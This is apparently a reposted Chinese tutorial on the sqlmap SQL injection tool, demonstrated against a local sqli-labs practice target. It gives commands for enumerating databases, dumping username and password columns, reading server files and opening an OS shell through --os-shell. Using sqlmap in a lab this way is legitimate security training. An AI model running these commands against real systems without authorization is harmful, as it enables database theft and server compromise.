sqlmap工具说明

news2024/11/16 12:02:38

目录

1 工具简介 3
1.1 简述 3
1.2 背景及需求 3
1.3 主要功能 3
2 功能确认 4
2.1 安装和使用 4
2.1.1 Windows操作系统 4
2.1.2 Linux操作系统 6
2.1.3 Kali 7
2.2 添加目标 7
2.2.1 参数-u 7
2.2.2 参数-m 8
2.2.3 参数-r 9
2.3 指定参数 11
2.4 爆破数据库 11
2.5 爆破表 12
2.6 爆破字段 12
2.7 爆破值 13
2.8 检测是否被保护 13
2.9 结果输出 14
2.10 风险等级 16
2.11 探测等级 16
2.12 访问文件 16
2.13 操作系统命令 17
3 总结 19

1 工具简介

1.1 简述

版本:v1.4.10
支持环境:windows,linux等
支持语言:python
设计目的:可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器
实现:有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数 据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据 库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上 执行命令。
技术:布尔盲注、时间盲注、报错注入、联合查询注入、堆查询注入

1.2 背景及需求

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,
而SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令。

1.3 主要功能

序号 功能 简述 参数
1 添加目标 目标URL -u
后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。 -m
数据包保存在txt中,sqlmap通过post方式检测目标 -r
2 指定参数 指定要测试的参数 -p
3 爆破数据库 查看所有数据库 --dbs
4 爆破表 查看指定数据库中的所有表 --tables
5 爆破字段 查看指定表中的所有字段 --columns
6 爆破值 查看字段的所有值 --dump
7 检测是否被保护 检测是否有WAF/IPS/IDS --identify-waf
8 结果输出 扫描结束后输出结果到指定文件 -
9 风险等级 选择风险等级 -risk
10 探测等级 选择探测等级 -level
11 访问文件 访问目标文件系统 --file-read
12 操作系统命令 允许操作系统命令 --os-shell

2 功能确认

2.1 安装和使用

2.1.1 Windows操作系统

Sqlmap项目存储在github上,访问giuhub需要通过代理才能访问

在这里插入图片描述

下载项目包,并解压。Sqlmap目录介绍如下:
a) doc目录:保护sqlmap的简要说明,具体使用说明,作者信息等。
b) extra目录:包含sqlmap的额外功能,如发出声响、允许cmd、安全执行等。
c) lib目录:sqlmap核心目录。
d) plugins目录:包含了sqlmap目前支持的13种数据库信息和数据库通用事项。
e) procs目录:包含了mssql、mysql、oracle、postgresql的触发程序。
f) shell目录:包含了注入成功后的9种shell远程命令执行。
g) tamper目录:包含了waf绕过脚本。
h) thirdparty目录:包含了第三方插件,例如优化,保持连接,颜色。
i) txt目录:包含了表名字典,列名字典,UA字典等。
j) udf目录:存放攻击载荷。
k) waf目录:存放waf特征判断脚本。
l) xml目录:存放多种数据库注入检测的payload等信息
在这里插入图片描述
在这里插入图片描述

使用sqlmap之前必须安装python,b并添加环境变量
在这里插入图片描述

检查环境是否能正常使用
在这里插入图片描述

2.1.2 Linux操作系统

a) 用git命令安装。
git clone https://github.com/sqlmapproject/sqlmap.git
b) 如果没有安装git,先装git。
yum -y install git
c) 安装完sqlmap,当前目录下会多一个sqlmap的目录。进入sqlmap目录。用命令启动sqlmap。
python sqlmap.py
d) 如果提示-bash: python: command not found,则可能是没有安装Python。Python安装命令。
sudo yum install python2

2.1.3 Kali

Kali中自带了sqlmap

在这里插入图片描述

查看版本:
在这里插入图片描述

2.2 添加目标

2.2.1 参数-u

参数-u 指定目标url来使用sqlmap检测,现选本地靶场第一关url: http://192.168.1.7/sqli/Less-1/?id=1

Windows:
命令:python3 sqlmap.py -u http://192.168.1.7/sqli/?id=1
在这里插入图片描述

Kali:
命令:sqlmap -u http://192.168.1.7/sqli/?id=1
在这里插入图片描述

2.2.2 参数-m

参数-m后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。

在这里插入图片描述

Windows:
命令:python3 sqlmap.py -m E:\desktop\target.txt
在这里插入图片描述

Kali:
命令: sqlmap -m /tmp/target.txt
在这里插入图片描述
在这里插入图片描述

2.2.3 参数-r

参数-r指定注入点,后面直接跟上文件名称,该文件记录了发送请求的报文,该报文可以利用抓包工具fiddle或burpsuit等获取。

在sql靶场中提交表单,并使用burpsuit获取请求报文,并以文件形式保存。
Burp抓包:
在这里插入图片描述

将内容保存在txt文件中
在这里插入图片描述

Windows
命令:python3 sqlmap.py -r E:\desktop \sql.txt
在这里插入图片描述

结果:
在这里插入图片描述

Linux:
命令:sqlmap -r /tmp/sql.txt
在这里插入图片描述
在这里插入图片描述

2.3 指定参数

参数-p可以指定SQL注入的参数。
命令:python3 sqlmap.py -u http://192.168.1.7/sqli/Less-1/?id=1 -p id
在这里插入图片描述

2.4 爆破数据库

在主机192.168.56.1上搭建了sqli靶场,先使用–dbs爆破数据库
命令:sqlmap -u " http://192.168.56.1/sqli/Less-5/?id=1" --dbs
在这里插入图片描述

2.5 爆破表

从上节爆破的数据库中选择security,使用–tables爆破在security数据库中的所有表
命令:sqlmap -u " http://192.168.56.1/sqli/Less-5/?id=1" -D “security” –tables
在这里插入图片描述

2.6 爆破字段

从上节爆破的security的所有表中选择user,使用-- columns爆破在user数据库中的所有字段
sqlmap -u " http://192.168.56.1/sqli/Less-5/?id=1" -D “security” -T “users” –columns
在这里插入图片描述

2.7 爆破值

在爆破的字段值中选择password和username的值进行输出
命令:sqlmap -u " http://192.168.56.1/sqli/Less-5/?id=1" -D “security” -T “users” -C username,password –dump
在这里插入图片描述

2.8 检测是否被保护

判断该web服务器是否被WAF/IPS保护着。在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断,在此我们,也介绍使用sqlmap进行检测是否有WAF/IPS/IDS

windows:
命令:python3 sqlmap.py -u “http://192.168.1.7/sqli/Less-1/?id=1” --thread 10 --identify-waf
在这里插入图片描述

linux:
命令:sqlmap -u “http://192.168.1.7/sqli/Less-1/?id=1” --thread 10 --identify-waf
在这里插入图片描述

2.9 结果输出

输出扫描结果到指定文件。

Windows:
将” python3 sqlmap.py -u http://192.168.1.7/sqli/Less-1/?id=1 -p id”结果导出到E:\desktop\2.txt
命令:python3 sqlmap.py -u http://192.168.1.7/sqli/Less-1/?id=1 -p id > E:\desktop\2.txt
在这里插入图片描述

文件已输出到桌面

在这里插入图片描述
在这里插入图片描述

Linux:
将” python3 sqlmap.py -u http://192.168.1.7/sqli/Less-1/?id=1 -p id”结果导出到/tmp/2.txt
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 -p id > /tmp/2.txt
在这里插入图片描述

文件已输出到tmp文件夹下
在这里插入图片描述

2.10 风险等级

风险等级:共有3个【1-3】,最大值是3
a) 会测试大部分的测试语句(默认值);
b) 会增加基于时间的测试语句;
c) 会增加OR语句的SQL注入测试。
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 -risk 1-3
在这里插入图片描述

2.11 探测等级

探测等级:一共有5个等级【1-5】,默认是1。 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用-level参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 -level 1-5
在这里插入图片描述

2.12 访问文件

file-read:读取服务器路径下的文件,并保存在output目录下的file中。使用kali来获取网站目录下的tmpuwbwc.php
在这里插入图片描述

命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 --file-read “E:\programing\phpstudy\phpstudy_pro\WWW\sqli\tmpuwbwc.php”
在这里插入图片描述

将读取的文件存储在output文件夹下,且和服务器中的文件做了大小比较,来确定读取的文件数据完整。
在这里插入图片描述

使用cat查看文件内容,和本机内容一样。
在这里插入图片描述

2.13 操作系统命令

可以在数据库与***者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Meterpreter生成shellcode。

使用kali来获取网站所在主机的shellcode
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 --os-shell
在这里插入图片描述

选择网站语言php
在这里插入图片描述

输入网站的绝对路径
在这里插入图片描述

进入shell,执行命令
在这里插入图片描述

3 总结

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,访问目标文件系统,并在获取操作权限时执行任意命令。

SQLMAP是开源的自动化SQL注入工具,由Python写成,具有如下特点:
a) 完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
b) 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
c) 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
d) 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
e) 支持自动识别密码哈希格式并通过字典破解密码哈希。
f) 支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
g) 支持在数据库管理系统中搜索指定的数据库名、表名和列名
h) 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。
i) 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/390954.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【LeetCode】剑指 Offer(16)

目录 题目:剑指 Offer 33. 二叉搜索树的后序遍历序列 - 力扣(Leetcode) 题目的接口: 解题思路: 代码: 过啦!!! 写在最后: 题目:剑指 Offer …

Uipath DataTable-Build Data Table(构建数据表)

Build Data Table(构建数据表) 活动描述 Build Data Table(构建数据表):通过在“构建数据表向导”窗口可以构建数据表。 使用如下图: Build Data Table(构建数据表)属性配置 属性 作用 DisplayName 在设计器面板中设置活动显示的名称 Private 如…

List、Set、Map众多集合框架等你来学,让我们一起精进Java框架的知识点吧

文章目录一、各集合特性二、HashMap深入解析三、遍历集合元素的若干方式一、各集合特性 1. ArrayList特性 不唯一,有序:实现了List接口,该接口是序列,所以不唯一且按顺序保存不同步:因为ArrayList.add(&am…

Java 编写Vue组件(VueGWT的初尝试)

在之前,我曾写过这样的文章《不会前端没事,用GWT Boot和Spring Boot构建Web程序》,这篇文字使用的Domino UI来做前端页面,由于现在更流行VUE,并且VUE的页面更具现代化,所以我尝试了一下VueGWT。 VueGWT 有…

Nodejs运行vue项目时,报错:Error: error:0308010C:digital envelope routines::unsupported

前言 前端项目使用( npm run dev ) 运行vue项目时,出现错误:Error: error:0308010C:digital envelope routines::unsupported 经过探索,发现问题所在,主要是nodeJs V17版本发布了OpenSSL3.0对算法和秘钥大小增加了更为严格的限制…

xFormers安装使用

xFormers是一个模块化和可编程的Transformer建模库,可以加速图像的生成。 这种优化仅适用于nvidia gpus,它加快了图像生成,并降低了vram的使用量,而成本产生了非确定性的结果。 下载地址: https://github.com/faceb…

C++ | 你真的了解namespace吗?

文章目录一、前言二、命名冲突三、命名空间1、域作用限定符2、命名空间的概念👉示例1👉示例23、命名空间的定义4、命名空间的使用① 指定命名空间访问【做项目】② 使用using部分展开【做项目】③ 使用using namespace全局展开【日常练习】5、小结解答&a…

【经验分享】使用了6年的实时操作系统,是时候梳理一下它的知识点了 | 文末赠书4本

使用了6年的实时操作系统,是时候梳理一下它的知识点了 摘要: 本文简单介绍了博主学习操作系统的心路历程,同时还给大家总结了一下当下流行的几种实时操作系统,以及在工程中OSAL应该如何设计。希望对大家有所启发和帮助。 文章目录…

【开放域目标检测】一:Open-Vocabulary Object Detection Using Captions论文讲解

出发点是制定一种更加通用的目标检测问题,目的是借助于大量的image-caption数据来覆盖更多的object concept,使得object detection不再受限于带标注数据的少数类别,从而实现更加泛化的object detection,识别出更多novel的物体类别…

【数据结构】顺序表:尾部操作我很行,随机访问我超快!!!

顺序表的模拟实现 文章目录顺序表的模拟实现1.线性表2.顺序表2.1概念结构2.2顺序表的模拟实现2.2.1顺序表的初始化2.2.2顺序表的销毁2.2.3尾插数据2.2.4尾删数据2.2.5头插数据2.2.6头删数据2.2.7中间插入数据2.2.8中间删除数据2.2.9打印顺序表2.2.10查找数据2.2.11复用Insert和…

Linux学习第二十一节-sudo提权

1.概念 管理员提前为用户设置执行权限许可; 被授权用户有权执行授权命令; 配置文件:/etc/sudoers; 命令格式:sudo 特权命令。 2.提权操作 ①方式一vim编辑配置文件后wq!:#vim /etc/sudo…

pnpm 基本详细使用(安装、卸载、使用)

一、简介 官网地址、GitHub地址、官方安装文档、官方卸载文档。 pnpm 全称 performant npm,意思为 高性能的 npm。pnpm 由 npm/yarn 衍生而来,解决了 npm/yarn 内部潜在的 bug,极大的优化了性能,扩展了使用场景。被誉为 最先进的…

【Docker】之docker-compose的介绍与命令的使用

🍁博主简介 🏅云计算领域优质创作者   🏅华为云开发者社区专家博主   🏅阿里云开发者社区专家博主 💊交流社区:运维交流社区 欢迎大家的加入! 文章目录docker-compose简介docker-compose基础…

Word文档的密码忘记了怎么办?

Word文档可以设置两种密码,文件的“限制密码”和“打开密码”,今天来分享一下忘记这两种密码可以如何处理。 如果忘记的是Word文档的“限制密码”,文档就无法编辑及更改了,菜单目录中的相关选项也都是灰色状态,无法点…

LeetCode-343. 整数拆分

目录递归动态规划题目来源 343. 整数拆分 递归 对于给定的一个整数 n,穷举它的每一种分解情况,然后对所有情况,求最大值。 并且我们知道,n 可以拆成如下情况: 通过上图,我们很容易得到一个递归表达式&am…

Verilog使用always块实现时序逻辑

这篇文章将讨论 verilog 中一个重要的结构---- always 块(always block)。verilog 中可以实现的数字电路主要分为两类----组合逻辑电路和时序逻辑电路。与组合逻辑电路相反,时序电路电路使用时钟并一定需要触发器等存储元件。因此&#xff0c…

用Chrome浏览器加入新必应候补名单,微软最终还是无法赢得一切(~ ̄▽ ̄)~

前言 ChatGPT最近太火了,国内厂商刚开始宣布跟进时,微软必应搜索直接接入了ChatGPT的能力,推出了新必应。此举给Google当头一棒,相比于传统搜索引擎,新必应的这种搜索方式,让用户更快速的获取到自己问题的…

02 C语言计算

02 C语言计算 0、编程练习题 #include<stdio.h>int main(int argc,char const *argv[]){int a,b;scanf("%d %d",&a,&b);printf("%d %d %d\n",a,b,a b);printf("%d - %d %d\n",a,b,a - b);printf("%d * %d %d\n",a…

C/C++每日一练(20230305)

目录 1. 整数分解 ☆ 2. 二叉树的最小深度 ★★ 3. 找x ★★ 1. 整数分解 输入一个正整数&#xff0c;将其按7进制位分解为各乘式的累加和。 示例 1&#xff1a; 输入&#xff1a;49 输出&#xff1a;497^2示例 2&#xff1a; 输入&#xff1a;720 输出&#xff1a;720…

Java分布式事务(三)

文章目录&#x1f525;MySQL事务-MySQL中锁的分类&#x1f525;MySQL事务-MySQL中的死锁问题&#x1f525;MySQL事务-MySQL中锁的分类 MySQL中锁的分类 从本质上讲&#xff0c;锁是一种协调多个进程或多个线程对某一资源的访问的机制&#xff0c;MySQL使用锁和MVCC机制实现了…